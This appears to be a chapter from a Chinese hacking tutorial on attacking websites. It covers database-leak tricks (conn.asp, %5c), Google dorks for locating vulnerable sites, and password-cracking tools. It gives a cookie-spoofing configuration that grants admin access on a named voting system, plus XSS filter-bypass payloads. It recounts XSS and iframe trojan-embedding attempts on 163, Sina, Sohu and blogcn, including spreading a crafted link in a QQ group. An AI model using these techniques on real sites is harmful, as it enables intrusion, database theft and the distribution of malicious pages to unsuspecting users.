这就是'or'='or'漏洞的利用方法,相对来说比较简单,是我们在入侵和渗透对方网络的时候常用的一种方法。这个的漏洞的发掘会在后面的代码分析中在解释,这里大家要学会怎么动手。
在第一节的时候我们就接触了一下暴库这个漏洞。在前面我们就已经接触了注入漏洞,对于一般的黑客而言,注入不仅仅是为了得到网站后台的密码,更多的时候是为了得到webshell。我来给大家解释一下什么是webshell。webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。在得到webshell通常还会提升权限,最终控制服务器,这些在后面会详细的讲解。
相对于注入漏洞,暴库漏洞就更加的方便了,如果网站采用ACCESS数据库,那么暴库之后就可以得到数据库的绝对地址,从而顺利的把数据库下载下来,最后得到管理员的密码,不过一般是经过了MD5加密的,这在后面会说明,这里大家要明白就是。而如果采用的以脚本语言名为后缀的话,比如asp、php等,那么我们就可以直接往里面插入木马,直接得到webshell,非常的方便。
常见的暴库漏洞有conn.asp方法和%5c方法,如果你对上面的方法都没有听过也没有关系,下面我就来详细的讲解这两种方法。
这个暴库法我们先从conn.asp说起,conn.asp暴库是一个很老的方法了,第一节也提到过。它是通过直接访问数据库连接文件conn.asp使服务器产生错误,通过服务器返回的错误信息信息提示从而暴出数据库的绝对地址。其实数据库连接文件不只是只有conn.asp一个,名字是可以改的,这一点大家不要误会了,这里的conn.asp文件是代表数据库连接文件,至于conn.asp这个名字并不重要。我们在Google里输入“inurl:"conn.asp"”就可以搜索到非常多的存在暴库漏洞的网站,如图2-64所示,随便打开一个,就可以看到网站的数据库地址,如图2-65所示。我们试着下载看看,如图2-66所示,数据库可以被下载。
图2-64 搜索到的conn.asp暴库网站
图2-65 存在暴库漏洞的站点
图2-66 利用暴库漏洞下载数据库
可能有些朋友对数据库连接文件还是不太明白,这里我再解释一下。数据库连接文件就是对数据库调用的一个文件,里面包含了被调用数据库的路径及数据库名等等,比如我们调用MSSQL数据库的时候,那么还会含有SQL连接的用户名及密码等内容。另外数据库连接文件的名字并不都是conn.asp,有的系统可能是别的名称,但大多数都是用conn.asp,所以我们就把这类漏洞称为conn.asp暴库,更为准确的应该叫做数据库连接文件暴库漏洞。
为什么直接访问数据库连接文件就能够暴出数据库的地址呢?这是因为数据库连接文件与调用文件的相对路径出错了。相对路径就是相对于我们服务器管理WEB的根目录的路径,比如我们的IIS的根目录为D:\wwwroot\,那么在这个目录下会有一个inc目录,这个大家可以去装了IIS就应该知道。现在我们要访问inc这个目录下的文件的时候我们只需要在浏览器中输入http://127.0.0.1/inc而不用输入http://127.0.0.1/wwwroot/inc。这里的inc目录就是相对于wwwroot为根目录的一级目录,记着是相对于。而inc这个目录的绝对路径是D:\wwwroot\inc,是一个二级目录,记着是绝对。
我们还是举个例子来实际说明吧,假设我们现在的IIS上架构了一套动力系统。动力的conn.asp放在根目录下的inc目录下运行。但是我们许多调用conn.asp的文件都是放在根目录下运行的,所以,考虑到执行目录的不同,在conn.asp文件中数据库的相对地址就写成了“数据库所在目录/数据库名”。在我们的动力系统中默认的conn.asp代码中有一条就是表示数据库的路径。当conn.asp被根目录下的其他文件调用时,它连接的是根目录中data目录下的*.mdb文件,而当我们直接访问inc目录下的conn.asp时,根据conn.asp中的内容,服务器就会去请求连接inc目录下的data目录那么相对路径就变成了inc/data。但是我们的inc目录下并没有data这个目录和文件,所以服务器就会报错,如图2-65所示。
下面我们来谈谈%5c暴库漏洞的利用,有一些网站,我们只需要在该网站的最后一个“/”改成“%5c”就能够暴出它的数据库来,如图2-67所示。
图2-67 得到网站数据库的绝对路径
为什么把“/”改成“%5c”就可以暴库呢?这和编码和IIS有很大的关系,下面就来看看他们是什么关系。大家可能还不不太明白%5c是什么东西,其实%5c就是16进制代码中的“\”。可是我们为什么不直接把最后一个“/”改成“\”呢?这是因为如果我们直接在浏览器中提交“\”的话,浏览器会自动把“\”转换成“/”,而我们提交“%5c”是不会被浏览器转换的,最后“%5c”给编译表示成了“\”。可为什么被编译成“\”就会出现暴库呢?大家还记得前面的conn.asp暴库吧,conn.asp暴库是由于相对路径出错了,IIS报错信息就暴出了网站的数据库,而我们的%5c暴库恰恰相反,是由于绝对路径出错了而引起的暴库。
一般来说,在conn.asp中都有一句这样的代码:
dbpath=server.mappath("数据库地址"),其中server.mappath的作用就是把相对路径转换成绝对路径,只有经过它的转换,服务器才能够正确的读写数据。server.mappath读取的绝对路径的方法是这样的,假设IIS的根目录为D:\wwwroot,在这个目录下还有一个bbs文件夹,一个ASP文章系统就放在这个目录下面,这个系统的数据库路径是database/data.mdb,那么server.mappath读取的路径就是为IIS根目录+相对路径,即为D:\wwwroot\bbs\database\data.mdb。
通过第一章对服务器的介绍,大家应该还知道IIS还有一个叫虚拟目录的功能,我们还以上面的例子来说明,不过这次我们的bbs目录不是在D:\wwwroot下,而是在E:\bbs。通过IIS虚拟目录的设置,我们仍然可以把bbs看成是在wwwroot下。不过这个时候我们的目录指向的是一个物理路径,IIS为了解决虚拟目录也能够正常访问的问题,优先查询每一个目录是否指向了一个物理路径,而这种查询就是以“\”为标志的。
接下来就说说%5c的暴库原理了。当IIS遇到了%5c,即当是“\”时,IIS就以为遇到了一个虚拟目录,便停止向上面的文件夹解析了。比如,网站的数据库是在D:\ wwwroot\bbs\database\data.mdb,而当遇到“\”后就会被解析成D:\ wwwroot\database\data.mdb,但是因为wwwroot目录下没有database文件夹和database\data.mdb文件,所以IIS就会报错,那么我们的目的就达到了。
在暴库的过程中,我们会遇到很多问题,特别是对于新手来说,下面是我收集到的一些常见问题及解决方法。
(1)、暴库的时候并不显示XXXX错误,而是HTTP500错误。对于这个非常的好办,是由于没有对IE浏览器进行设置而导致的。打开IE浏览器,在菜单的“工具”下找到“Internet选项”,然后找到“高级”处把“显示友好的HTTP错误信息”前的“√”去掉,如图2-68所示,应用之后就可以下载数据库了。
图2-68 解决暴库的时候并不显示XXXX错误的问题
(2)、暴出的数据库是以asp结尾的,如图2-67所示,不过下载不了。其实以asp结尾的数据库也是可以下载下来的,我们把它的URL地址复制到比如讯雷的下载工具上就可以下载了。不过也有的数据库中专门建立了一个防下载的表,里面写入一条错误的ASP代码,一般是<% nodownload %>,这个时候如果在把数据库的后缀改成asp就下载不了。
(3)、有的时候暴出的数据库中含有“#”号,也同样下载不了。前面我们说了%5c其实就是“\”的16进制的代码,同样的,我们这里也可以用“#”的16进制代码%23代替“#”,这样数据库就一样可以下载了。
(4)、对于上面的ASP数据库,很多时候我们下载下来以后无法打开或者有的时候还需要密码。对于ASP数据库,我们只要把它的后缀改成mdb就可以了,至于需要密码在第一章介绍ACCESS数据库的时候大家已经知道ACCESS数据库有密码的功能。其实对于ACCESS数据库的密码是很容易破解的,在光盘里我已经给大家推荐了一款叫做Access 密码破解终结的工具,非常的好用。对于ACCESS数据库,如果没有安装office软件,那么可以用辅臣数据库浏览器打开,在光盘中也收录了。
(5)、如果打开数据库后发现密码是16位或者32位的,那么就说明了这个密码是用了MD5这个加密系统对密码进行加密了,对于MD5密码破解还是比较困难的,这里我给大家推荐MD5Crack这款MD5密码破解工具。同时还有一个在线破解MD5密码的网站http://www.xmd5.com,这个网站所有常见的MD5密码,是破解MD5必备的武器,建议大家还是使用网站来破解。
(6)、数据库是.mdb但是确下载不了,遇到这个情况可以用讯雷之类的工具下载,如果还不行的话,那可能就是数据库位于服务器的虚拟目录中,对于这种情况是没什么办法的。
(7)、有的时候用%5c暴库确显示“处理URL错误,请与系统管理员联系”。而用conn.asp暴库的时候是一片空白。用conn.asp暴库的时候一片空白是因为conn.asp中加入了容错语句,而显示“处理URL错误,请与系统管理员联系”是服务器屏蔽了错误信息的显示,这个时候暴库就没什么用了。
现在很多系统为了方便我们访问网站,都使用了一个叫cookie的技术来避免我们多次输入用户名和密码等信息,而且这个cookie是一个文本文件,是存储在我们本地机器上的。Cookies是一小段的文本信息,它伴随着用户请求和页面在Web服务器与浏览器之间传递。用户每次访问网站的时候,Web应用程序都可以读取cookies包含的信息。使用cookies能够达到网站认识你的目的。对于cookies的基础知识在第四章有非常详细的解释。
我们自己可以去查看自己电脑上的cookie文件,对于使用windows操作系统使用IE浏览器的朋友通常可以在C:\Documents and Settings\用户名\Cookies目录中找到。如果不是这个目录可以利用windows自带的搜索功能搜索关键字cookies也可找到。既然是文本文件,那么我们当然可以修改上面的内容了。所以如果我们对里面的内容进行修改,比如把自己的信息改成别人的,那么我们访问的时候不就成了别人了,那样我们就冒充了别人进入了。这样就达到了欺骗的目的了,这就是非常著名的cookies欺骗漏洞。对于cookies欺骗漏洞形成的原因一般是对cookies验证不足而造成的。
在下面我将给大家讲解cookie欺骗攻击的步骤及方法,至于如何从代码中发现漏洞将在后面详细分析。
要查看本地计算机上的cookie我给大家推荐IEcookie View这款工具,用它来非常的方便,如图2-69所示,一打开它就可以看到本地计算机上所有的cookie文件。
图2-69 IE Cookie工具
我们可以点击BAIDUID这个文件,在图2-69中可以看到,单击鼠标右键出现两个选项一个是Properties另外一个是Edit the cookie' content,我们一般就用到这两个功能,在这里我们可以查看和修改其cookie值,而且cookie的各项值都已经给分开好了,修改起来非常的方便。如图2-70所示,从图中我们还可以看到BAIDU给我们的cookie的有效期为30年。
图2-70 查看百度的cookies
而对于利用cookie进行欺骗,那就应该用桂林老兵cookie的欺骗工具。这个提供了简单的浏览器功能,但同时提供了查看当前打开页面的cookie值和修改cookie的功能。比如我打开BAIDU,如图2-71所示。
图2-71 网页中查看cookies值
不仅打开了BAIDU的页面同时其cookie也看到了,如果要修改它的cookie值,那先应该单击一下cookies输入栏前的那把锁,单击之后会发现cookie输入栏内的颜色稍微变了下,由灰色变成白色了,这样就可以修改cookie了,等修改完了之后,在单击那把锁就把cookie值给锁定了。
下面我就以我自己发现的心情网络投票系统的cookie欺骗漏洞来详细讲解cookie欺骗漏洞攻击的主要步骤。先利用google hack来搜索使用这个系统的网站,可以使用的关键字有:
1.function touvote(){window.open
2.formvote.submit();}"
3.formvote.action=
4.document.write (vote)
这些关键字可以非常准确的找到使用这个系统的网站,如图4-72所示,有291000项纪录也够多了吧。
图2-72 搜索投票系统
我们用桂林老兵cookie的欺骗工具随便打开一个网站,我这里用http://www.1ht0523.com/vote/index.点asp来举例,打开之后就可以看到网站的cookie值,把admin和qx都改成admin=admin和qx=qx。修改后代码如下:
[MyBrowser]
Cookies=admin=admin;qx=qx;cck_lasttime=1153188298890;cck_count=0; ASPSESSIONIDQQDAQQRR=MKEDFCCCDDFKMFMJDJDGKNKI
Address=http://www.1ht0523.com/vote/index.asp
InjectAddress=http://www.hackerdown.com/down.asp?id=39&no=1{v}
InjectCode=
现在用桂林老兵来进行Cookies欺骗了,把URL地址的文件改为step1.asp,这样顺利的登陆了后台,如图2-73所示。
图2-73 进入后台
至于为什么这样改了之后就可以进入后台,将再后面的代码分析中会详细说明,我们从漏洞的本质上来分析。这里就是让大家对cookies有一个感性认识,知道怎么去利用cookie欺骗就可以了。
跨站漏洞攻击是目前脚本黑客下的一个主要攻击技术。跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。
跨站漏洞产生的原因是由于程序员在编写程序时对一些变量没有做充分的过滤,直接把用户提交的数据送到SQL语句里执行,这样导致用户可以提交一些特意构造的语句 一般都是带有像JavaScript等这类脚本代码。在这基础上,黑客利用跨站漏洞输入恶意的脚本代码,当恶意的代码被执行后就形成了所谓的跨站攻击。一般来说对于人机交互比较高的程序,比如论坛,留言板这类程序都比较容易进行跨站攻击。利用跨站漏洞黑客可以在网站中插入任意代码,这些代码的功能包括获取网站管理员或普通用户的cookie,隐蔽运行网页木马,甚至格式化浏览者的硬盘,只要脚本代码能够实现的功能,跨站攻击都能够达到,因此跨站攻击的危害程度丝毫不亚于溢出攻击,下面我们就来了解一下跨站攻击的主要攻击形式。
原理这里就不再过多的讲了,在第四章会给大家非常详细的说明,毕竟跨站也是要有点语言基础的,这里给大家讲的目的是让大家初步认识跨站脚本以及怎么在一个网站中发现跨站漏洞,为了更好和更全面的让大家认识,这里我引用了三篇文章,第一篇是由王炜写的《一次跨站漏洞(XSS)的发掘》;第二篇是由非零解写的《163、sina、sohu也玩跨站》;第三篇是由我写的《再次挖掘中国博客网之跨站漏洞》。
一、XSS简介和原理
XSS(Cross Site Script)的全称是跨站脚本,是一种危害性很大的漏洞。为什么被称为跨站脚本呢?这是因为跨站脚本执行漏洞,是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。其实“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点的。所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今,故称为跨站脚本。Cross Site Script第一个单词首位是C,为什么写成X呢?这是因为CSS是层叠样式表(Cascading Style Sheets)的缩写,为了避免混淆,所以用和Cross发音近似的X来代替。
跨站脚本漏洞的本质是HTML的注入问题,如果恶意用户的输入(比如昵称、评论、头像、E-mail等)没有经过严格的筛选进入了数据库,并最后生成在显示给来访用户的页面中,那么用户访问该页面时,浏览器就会执行恶意用户所输入的HTML代码。
浏览器为什么会执行恶意用户输入的代码呢?这是由于浏览器的不足之处而造成的。浏览器的功能就是解释Web服务器发送过来的HTML代码,它无法分辩出哪些HTML代码应该解释执行,哪些只是数据内容(比如上面提到的昵称、评论、头像、E-mail等)从而应该简单显示。如果恶意用户的输入部分符合HTML的语法规范,则在显示时,就会被浏览器自动解释成HTML代码。
如果被解释的恶意HTML代码只是如加粗<b>斜体<I>的格式标志符,那还对访问的用户造不成太大的危害,只是显示可能不正常而已,但是如果注入的恶意HTML代码是Javascript一类的脚本语言时,则大大的不同了。Javascript有强大的功能,比如Google桌面搜索小工具、MSN桌面搜索Gadget都可用Javascript和VBScript完成。不过还好,浏览器一般都有安全策略,限制未知网络对本地计算机的访问和破坏性操作,但跨站恶意注入的Javascript代码,已经可以在安全策略的允许范围内完成任意的功能了,如果利用浏览器的某些漏洞,绕过浏览器的安全策略,那么可以随意实现访问硬盘,执行代码的任意功能了,这就是常说的“挂马”了。
二、XSS的探测和绕过过滤
在可输入区输入script代码,比如在用户的简介中输入<script>alert("test")</script>,打开用户页面,如果弹出如图2-74所示的窗口,那么,就有跨站漏洞了。
图2-74 存在跨站漏洞
如果在简介输入区,显眼的<script>字符被过滤,可以试试利用已经存在的属性,如<img src=javascript:alert("test") >,可以一样的实现跨站的探测。进一步,如果javasrcipt:的关键字也被过滤了,那么可以试试ASCII码的表示方法,将javasrcipt:转换成一些16进制的值,比如:
<img src="javascript:alert(/xss/)">
或者添加空格,tab,比如
<img src="javas????cript:alert(/xss/)" width=100>
还可以用事件和属性避免关键字,绕过监测,比如
<img src="#" onerror=alert(/xss/)>
<img src="#" style="Xss:expression(alert(/xss/));">
值得一提的是,yahoo mail的跨站漏洞,是由如下的语句造成的。
<STYLE onload=alert('cookes exploit!');alert(document.cookie)">
在RSnake那篇著名的论文XSS cheatshet ESP: for filter evasion里面,详细总结了能绕过过滤的属性和方法。在实际中,获得绕过过滤实现跨站方法,最好是输入一些测试script语句,看生成的页面中转换后的HTML代码,如果script语句被替换不能执行,则打开观看生成页面的HTML代码,可以发现某些关键字转化的过程,然后想法使用其他关键字绕过。如果网站程序有源代码,那更好啊,清楚的知道了转换的过程,就可以想法构造出更好的绕过过滤办法。
三、一个无源码网站跨站漏洞的发掘实例
有一个自己经常上的网站,不知道它的源代码也不知道是否作了跨站防范,如何绕过过滤,找出其跨站漏洞呢?首先应该详细的查看网站结构,特别注意那些会显示到页面上的用户输入数据。经过观察发现,用户输入的某些个人信息会生成页面被其他用户浏览,这些信息包括E-Mail,昵称,简介等,如下图2-75所示。
图2-75 输入跨站测试代码
由于其他用户查看某人的信息时,只能看到E-Mail,昵称和简介,所以我们在E-Mail,昵称,简介栏中都输入<img src=javascript:alert("test") >进行测试,如果存在跨站漏洞,则会在浏览用户信息时,弹出一个含有“test”的对话框。
好,点击更新按钮,提示信息更改成功,如图2-76所示。
图2-76 跨站代码成功提交
再进入用户信息查看页面,嗯?没有预想中弹出对话框的效果,javascript代码都在那里好好的躺着呢,而且昵称还有长度限制,使得名字的显示非常怪异,如图2-77所示。
图2-77 存在跨站,但被限制了
这究竟是怎么回事呢?解铃还需系铃人,点击右键,查看源代码,“代码面前没有秘密”,一看便知道了。原来小于号“<”,大于号“>”,和空格都被替换了,分别被替换成了< 和>。也就是说,原来输入的代码
<img src=javascript:alert("test") >
都被替换成了
<img src=javascript:alert("test") >
这当然不会被浏览器认为是script代码了,数据只好老老实实的显示了出来。首次尝试失败。这可怎么办呢?难道就不能利用了吗?不要急,注意看Email,表现出了超链接的形式,链接的内容是什么呢?再打开源代码,找到Email一项,如下:
<a href="mailto:<img src=javascript:alert("test") >">
<img src=javascript:alert("test") ></a>
哈哈,得来全不费功夫,超链接为<a href => </a>的语法格式,可以发现,超链接href=的值为"mailto:<img src=javascript:alert("test") >",这里面的<img src=javascript:alert("test") >是我们原原本本输入的内容,没有任何的改变,既然没有改变,我们只要想办法将前面的<a 和 “mailto引号闭合,后面的脚本代码就可以起作用了。闭合从内到外的一个一个的来,首先是"mailto:需要加个双引号闭合mailto前的双引号;然后是<a,需要有个大于号>来闭合;最后超链接还需要一个结束标志</a>,后面就可以接我们的script代码了。
合起来,就应该构造输入如下:"></a><img src=javascript:alert("test") >。再解释一下这样输入的原因。第一个引号"闭合"maito的左引号;然后>闭合<a;而</a>闭合<a href=”mailto:”>这个超链接。后面的<img src=javascript:alert("test") >就是我们要执行的script代码了,好,使用新构造的数据更改用户信息中的Email,保存后再查看用户信息页面,啪,弹出了我们想要的script对话框,跨站漏洞发掘成功,如图2-78所示!
图2-78 跨站代码被执行
在这里,即时不使用</a>闭合超链接标志<a>,也可以成功,即只用输入"><img src=javascript:alert("test") >,也会成功弹出对话框如图2-79所示。
图2-79 跨站代码又执行了
只不过Email的显示还是超级链接的形式而已,但这不妨碍跨站的使用,还可以减少占用的字数,这往往是能否成功利用跨站漏洞的关键。发掘出跨站漏洞以后,可以做很多事情,前面说过,凡是在浏览器安全控制策略范围内的操作,都可以成功。所以,跨站的利用“只有想不到,没有做不到”,基于源码的漏洞分析和漏洞利用的思路,以后有机会我们再进一步讨论吧。
编辑点评:很系统的一篇跨站文章,从理论到实例分析一应俱全,小菜们是否学会了跨站的挖掘方法呢?但是要想成为跨站高手,是一定要通js脚本的。
一、163之行
某日看见一篇写到XX联盟上有跨站的文章,偶于是有了个想法,去看看那些门户网站有没有跨站的漏洞。我比较喜欢163,一进去就去看看新闻。一不小心发现了新闻评论的地方,随手在评论的地方输入一个字母,按下提交,页面就转到了http://comment.*****.163.com/error.jsp?msg=%C4%DA%C8%DD%CC%AB%B6%CC%A3%AC%D6%C1%C9%D9+4+%B8%F6%CE%C4%D7%D6,提示错误: 内容太短,至少4个文字。有希望了,把地址改成http://comment.*****.163.com/error.jsp?msg=<script>alert('by 非零解');</script>,呵呵,这时候弹出一个窗口,如图2-80所示,跨站成功!
图2-80 跨站成功
我有个朋友要买手机,他叫我随便在网上帮他查一下价格。既然来啦,就去手机频道看看,手机还没看好,却看见了又一个发表评论的地方。又在评论处发表一个字母,网页转到另一个页面http://comment.*****.163.com/error.jsp?msg=%C4%DA%C8%DD%CC%AB%B6%CC%A3%AC%D6%C1%C9%D9+4+%B8%F6%CE%C4%D7%D6,提示错误: 内容太短,至少4个文字,没办法,想不跨站就不行啊。在http://comment.*****.163.com/error.jsp?msg=后面再加上<script>alert('by 非零解');</script> 成功跨站。后来发现163下面的很多分站的评论地方都有跨站的地方,就不一一地说出来了!
二、新浪跨站
首先进入我眼线的是世界杯,看了两则最新的新闻后,就想到163里面的跨站,发评论。发一个字母,一般的情况下,为了避免灌水都要提示错误的,晕,它直接显示出来了。那我直接在评论地址上加<script>alert('by 非零解');</script>,错误提示出来啦,http://comment.*****.sina.com.cn/comment/error.html?auto_refresh=0&msg=参数错误,难道它过滤了吗?再试一下呢?我在网址中=的后面改成<script>alert('by 非零解');</script>。提交,弹出了一个窗口,如图2-81所示,跨站成功了!同样象163那样, sina的很多有评论的地方也能跨站。
图2-81 跨站成功
三、Sohu,发现另类挂马
在sohu里找跨站实在是不好找,找了半天发现一个关于订阅RSS的页面http://tb.sogou.com/rss?ch=it。把网址it的内容替换成<script>alert('test');</script>,好象页面没有发生变化。查看源码看到:<iframe c="http://tb.<script>alert('test');</script>.sohu.com/rss-channel.html" scrolling="no" frameborder="0"height="0" width="0"></iframe>
原来<script>alert('test');</script>被iframe当作网址的一部份使用了。如果把iframe标签闭合呢?提交http://tb.sogou.com/rss?ch="></iframe><script>alert('test');</script><,弹出test的窗口,跨站成功,如图2-82。
图2-82 跨站成功
既然是把ch后面的内容作为框架把http://tb.***.sohu.com/rss-channel.html的页面嵌入到此页面中。那么是不是可以把一个http://tb.com的网站内嵌进去呢?提交: http://tb.sogou.com/rss?ch=com">,如图2-83所示,http://tb.com被内嵌到下载的页面上方。呵呵,这样很明显了,可以挂马。
图2-83 发现挂马
假如tb.com的网站里面放着网页木马,或者有一个二级域名tb.***.***的网站的话,就可以把网址发给别人,一般看见是sohu的网址都不会怀疑里面有木马。
我测试过,把http://tb.sogou.com/rss?ch="></iframe><script>alert('test');</script><发在qq群上说sohu有跨站,大家快去看看。点击率还是比较高的,而且大部分人并没有察觉哟什么不对劲的地方,因为他们成功看到了跨站,嘿嘿!
编辑点评:在url里跨站是比较容易的,毕竟ie地址栏本身就带有执行js命令的功能,如: javascript:alert(document.lastModified)。但是sohu的最后一个跨站构思还是很巧妙的。
一、引言
中国博客网是目前国内一家非常大的博客提供站点,提供的博客也是服务非常的完善,所以我自己的博客也是采用他们的。在很早之前我就发现了他们的一个跨站漏洞,因为当时比较忙,没多少时间去测试另外的漏洞,所以就给中国博客网的客服部发了一封邮件就了事了。再之后我就把这件事给忘了。但是在浏览上期杂志的时候突然发现有人写了这个漏洞,当时我非常的气愤,那个漏洞居然还没有补上。于是我决定再次测试其安全性。中国博客网提供几种博客服务,如情侣博客、个人博客、企业博客等等,因为本人使用的个人博客,所以就用个人博客来作为测试对象。
二、挖掘
博客对每篇日志都提供评论的功能,用户只要主页、留言、认证码就可以了,如果在没有登陆的情况下,呢称是由访客加上由一个六位数随机函数提供的一个名称,图2-84所示。虽然是由系统提供的呢称,但是确可以随便修改。在所有的输入框中输入<zyh>,图2-85所示。利用这个技巧可以很快确定是否存在跨站漏洞。至于中间的zyh是偶名字的开头的三个字母,可以随便修改。我们来看看返回客户端的代码:
.................省略代码
<a href="<zyh>" class="x-blue" target="_blank"><zyh>(访客)</a>
</span>- 2006-11-11 9:44:32</td>
<td width="60">
</td>
<td width="60"></td>
</tr>
</tbody>
</table>
<TABLE width="98%" border="0" align="center" cellPadding="0" cellSpacing="0" class="margin-top" id="Table14">
<TBODY>
<TR>
<TD style="word-break:break-all">
<zyh>
</TD>
</TR>
.............省略代码
可以看到在第二个zyh中没有过滤<和>,即呢称处没有过滤参数。那么就可以用来跨站了,如图2-86和图2-87所示。
图2-84
图2-85
图2-86
图2-87
对于日志提供了一个类别分类功能,不同的文章可以划分到不同类别中。在在后台中可以自己添加不同的类别。但是类别名处我们可以输入任何数据,如图2-88所示。在添加类别后就会生成分类代码,如图2-89所示,下面就是在我输入<script>alert(类别管理跨站)</script>后的部分代码:
<table width='100%' align=center>
<tr>
<td align='left'>
<a href=index.html>首页</a>
</td>
</tr>
<tr>
<td align='left'>
<a href=index.html?tp=<script>alert(类别管理跨站)</script>>类别管理跨站</a>
</td>
</tr>
<tr>
<td align='left'>
<a href=index.html?tp=<script>alert(hah)</script>>jhj</a>
</td>
</tr>
</table>
我们的跨站代码没有得到转换,不过被屏蔽了,所以要避开那些标签的封锁,所以把原来的跨站代码改为><script>alert(类别管理跨站)</script><a就可以绕过封锁了,如图2-90所示,就可以实现跨站。
图2-88
图2-89
图2-90
博客提供一个网摘的功能,可以在后台自己编辑网摘。如图2-91所示,我在地址、标题、描述、TAGS上都输入图片跨站代码,提交后就可实现跨站了,如图2-92所示。
图2-91
图2-92
在我们申请博客时要求填写博客的标题,如图2-93所示,还可以后台修改博客自己的标题。我这里用的申请的标题,在标题中输入跨站代码,那么在每次打开博客时都会出现跨站效果,如图2-94所示。
图2-93
图2-94
中国博客网的功能确实比较丰富,比如对于博客的首页,用户可以自己修改,而且提供可视化编辑、代码编辑、选择模块三种方式。对于代码编辑就是把首页的代码全部显示出来,如图2-95所示。而且用户可以自己修改任何代码。这可是一个在安全上比较的隐患。比如在代码中间我插入代码<iframe frameborder=0 width=300 height=300 scrolling=no src=http://www.baidu.com></iframe>,那么就可以实现挂马了,如图2-96所示。
图2-95
图2-96
在图2-95中我们还可以看到有一个音乐盒子的功能,即在首页中增加音乐的功能。我们可以在后台添加音乐,如图2-97所示。提交后就可实现跨站了,如图2-98所示,而且这个跨站最有意思。我们在添加跨站音乐后,那么只要人打开我们的博客,音乐就会运行。而这个时候的音乐是跨站,所以只要打开首页就会出现跨站的死循环,关闭跨站后又弹出来。出现跨站死循环。
图2-97
图2-98
博客提供三种友情链接方式,文字链接、图片链接、LOGO,如图2-99所示。而且这三种方式都存在跨站漏洞。不过这里需要绕过一些标签,这里用文字链接作为例子来说明。下面是输入<链接>后返回的代码:
<Td align=center width='8%'><strong>No.1</strong></td>
<td class="main_bg"><a href='<链接>' target=_blank><链接></a>
<a href='/createfiles/bookmark_editNew.asp?id=11235691'>[编辑]</a> <a href='/createfiles/bookmark_delNew.asp?id=11235691&d_tp=2'>[删除]</a>
..............省略代码
<tr><Td align=center width='8%'><strong>No.1</strong></td>
<td class="main_bg"><a href='<链接>' target=_blank>
<img src='<链接>' border=0 alt='<链接>'></a>
可以看到只有一个地方把<和>进行转换了,其他的地方都没有转换,只是被标签给封住了。比如第一个链接可以输入'<script>alert("链接跨站")</script><'来绕过,就可实现跨站了,如图2-100所示。
图2-99
图2-100
三.总结
对于中国博客网,我的印象一直是非常优秀的,不然我也不会用他们的博客,同时欢迎大家访问我的博客,地址是:http://zengyunhao0.blogcn.com。通过这次挖掘,我没想到他们的系统居然存在那么多的问题,安全性如此的脆弱。对于跨站我们还可以做很多事情,如偷COOKIES、挂马等等。如果当初他们重视我的邮件的话,也许今天就不会出现如此多的问题了,看来国内计算机的从事人员的安全意识还是有待提高。
在我们这么多的脚本黑客中,注入是最主要的攻击技术之一,是目前最为活跃的攻击手段。很多朋友对注入的定义应该还不是太熟悉,下面给引用来自官方的对注入漏洞的定义:当应用程序使用输入内容来构造动态SQL语句以访问数据库的时候,就会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL可能导致攻击者能够使用应用程序登陆,并在数据库中执行命令。如果应用程序使用过高的账户连接到数据库,这种问题会变的很严重。
上面官方的解释比较书面化,SQL注入漏洞发生的前提就是我们能够构造SQL语句来访问数据库,也就是说要有数据与数据库交互的地方才可能会发生SQL注入攻击,而这里的这个数据就是我们提交的数据。而存储过程说白了一些数据库语句,能够完成一些特定功能,对于存储过程的更多的内容在第五章会有非常详细的解释。
目前引起SQL注入的主要原因是程序员在编写网站脚本程序的时候,对特殊没有过滤或者过滤不完全而导致的。因为一个脚本系统的文件是比较多的,而且代码量也非常的大,所以系统开发人员不可能对每一个文件中的数据交互的地方都考虑的非常周全,这样我们就有了可乘之机了。在加上注入攻击比较容易上手,而且目前注入工具也非常多,使得注入攻击一下就成为脚本攻击的主流方向。
而有一点大家一定要知道:SQL注入漏洞的产生虽然是由于程序过滤不严格导致的,但是要实现这个漏洞的攻击,是与我们系统后台所使用的数据库有关。也就说数据库才是影响我们注入攻击的最大因素,不同的数据库它所面对的注入攻击也是不同的,而与系统所使用的语言并无很大的联系。所以在手工注入的过程中,我就以不同的数据库来分SQL的注入了。
上面简单的对注入解释了一下,下面开始我们的注入攻击之旅吧!这里我把注入分为两个部分:一是工具篇,主要是讲解不同的注入工具的使用;二是手工篇,因为影响SQL注入攻击的结果主要是数据库的类型,所以这里我从数据库的角度来分,把手工篇分成了ACCESS、SQL Server(MSSQL)和MySQL这类。
由于注入攻击成为脚本黑客技术下的主流,所以很多注入工具也就很快的出现了,而且那些工具越来越傻瓜化,特别适合一些刚刚入门的菜鸟朋友。注入攻击的工具目前比较的多。在ASP下我给大家推荐的是小竹的NBSI、啊D、明小子的Domain,他们在ASP下非常好的注入工具;而在PHP下比较好的工具有PHP-Mysql注射分析器、CASI、教主的HDSI,而且HDSI还支持ASP注入功能,它是ASP/PHP注入综合工具。在本节中从ASP和PHP两个角度来给大家讲解这些注入工具的使用方法。
1. ASP下的注入工具的使用
下面我就以啊D和Domain来讲解如何使用他们在ASP的环境下注入,之所以选他们两个是要他们相互配合,从我本来的经验来看,他们两者的结合使用是不会差于任何注入工具的。
我们先来看看啊D和Domain3.5的主界面吧,如图2-101和图2-102所示。
图2-101 啊D主界面
图2-102 Domain的主界面
